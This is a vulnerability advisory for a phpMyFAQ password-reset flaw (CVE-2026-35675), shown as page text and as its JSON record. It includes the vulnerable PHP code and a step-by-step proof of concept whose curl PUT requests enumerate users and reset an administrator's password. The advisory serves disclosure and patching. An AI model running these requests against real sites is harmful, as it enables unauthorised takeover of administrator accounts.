GHSA-W9XH-5F39-VQ89
Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:20Summary
An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:
[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]
public function updatePassword(Request $request): JsonResponse
{
$data = json_decode($request->getContent());
$username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
$email = trim((string) Filter::filterEmail($data->email));
if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
$user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
$loginExist = $user->getUserByLogin($username);
if ($loginExist && $email === $user->getUserData('email')) {
// NO TOKEN CHECK
// NO RATE LIMITING
// NO EMAIL VERIFICATION
$newPassword = $user->createPassword();
$user->changePassword($newPassword);
$mail->send(); // New password sent in plaintext
}
}
}
Root Causes:
- No time-limited cryptographic token required for password reset
- No rate limiting on the endpoint (allows unlimited username/email enumeration)
- No verification email sent to original address before reset
- New password sent in plaintext email without any confirmation step
PoC
Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"wrong@test.com"}' \
http://target/phpmyfaq/api/user/password/update
Response: {"error":"The email doesn't exist..."} <- user exists but wrong email
OR
Response: {"error":"The user doesn't exist"} <- user doesn't exist
Step 2 - Password Reset (no token required):
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"admin@target.com"}' \
http://target/phpmyfaq/api/user/password/update
Response: {"success":"Email has been sent."} The new plaintext password is sent to admin@target.com
Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.
Impact
Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted: - All phpMyFAQ administrators using default installations - Any organization using phpMyFAQ for internal knowledge bases - End users whose accounts could be compromised - Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35675"
],
"database_specific": {
"cwe_ids": [
"CWE-307",
"CWE-359",
"CWE-640"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-20T15:46:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.\n\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php\nLines: 56-130\nThe updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:\n#[Route(path: \u0027user/password/update\u0027, name: \u0027api.private.user.password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function updatePassword(Request $request): JsonResponse\n{\n $data = json_decode($request-\u003egetContent());\n $username = trim((string) Filter::filterVar($data-\u003eusername, FILTER_SANITIZE_SPECIAL_CHARS));\n $email = trim((string) Filter::filterEmail($data-\u003eemail));\n if ($username !== \u0027\u0027 \u0026\u0026 $username !== \u00270\u0027 \u0026\u0026 ($email !== \u0027\u0027 \u0026\u0026 $email !== \u00270\u0027)) {\n $user = ($this-\u003ecurrentUserFactory ?? CurrentUser::getCurrentUser(...))($this-\u003econfiguration);\n $loginExist = $user-\u003egetUserByLogin($username);\n if ($loginExist \u0026\u0026 $email === $user-\u003egetUserData(\u0027email\u0027)) {\n // NO TOKEN CHECK\n // NO RATE LIMITING\n // NO EMAIL VERIFICATION\n $newPassword = $user-\u003ecreatePassword();\n $user-\u003echangePassword($newPassword);\n $mail-\u003esend(); // New password sent in plaintext\n }\n }\n}\n\n\n```\n\n### Root Causes:\n1. No time-limited cryptographic token required for password reset\n2. No rate limiting on the endpoint (allows unlimited username/email enumeration)\n3. No verification email sent to original address before reset\n4. New password sent in plaintext email without any confirmation step\n\n\n### PoC\nPrerequisites: None (unauthenticated attack)\nStep 1 - Username/Email Enumeration (no rate limiting):\nTest with wrong email - reveals if user exists\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"admin\",\"email\":\"wrong@test.com\"}\u0027 \\\n http://target/phpmyfaq/api/user/password/update\n```\nResponse: {\"error\":\"The email doesn\u0027t exist...\"} \u003c- user exists but wrong email\n\nOR\n\nResponse: {\"error\":\"The user doesn\u0027t exist\"} \u003c- user doesn\u0027t exist\n\nStep 2 - Password Reset (no token required):\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"admin\",\"email\":\"admin@target.com\"}\u0027 \\\n http://target/phpmyfaq/api/user/password/update\n```\n\nResponse: {\"success\":\"Email has been sent.\"}\nThe new plaintext password is sent to admin@target.com\n\nStep 3 - Account Takeover:\nAttacker now has valid credentials and can log in as SuperAdmin.\n\n\n\n### Impact\nAspect\tDetails\nVulnerability Type\tAuthentication Bypass / Weak Password Recovery Mechanism (CWE-640)\nAttack Vector\tNetwork (unauthenticated HTTP request)\nPrivileges Required\tNone\nUser Interaction\tNone\nScope\tFull administrative access to phpMyFAQ\nConfidentiality\tHigh - attacker gains full access to all user data and FAQ content\nIntegrity\tHigh - attacker can modify all content and settings\nAvailability\tHigh - attacker can lock out legitimate users\nWho is Impacted:\n- All phpMyFAQ administrators using default installations\n- Any organization using phpMyFAQ for internal knowledge bases\n- End users whose accounts could be compromised\n- Organizations relying on phpMyFAQ for customer support FAQs\nAttack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address",
"id": "GHSA-w9xh-5f39-vq89",
"modified": "2026-05-28T14:20:34Z",
"published": "2026-05-20T15:46:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w9xh-5f39-vq89"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.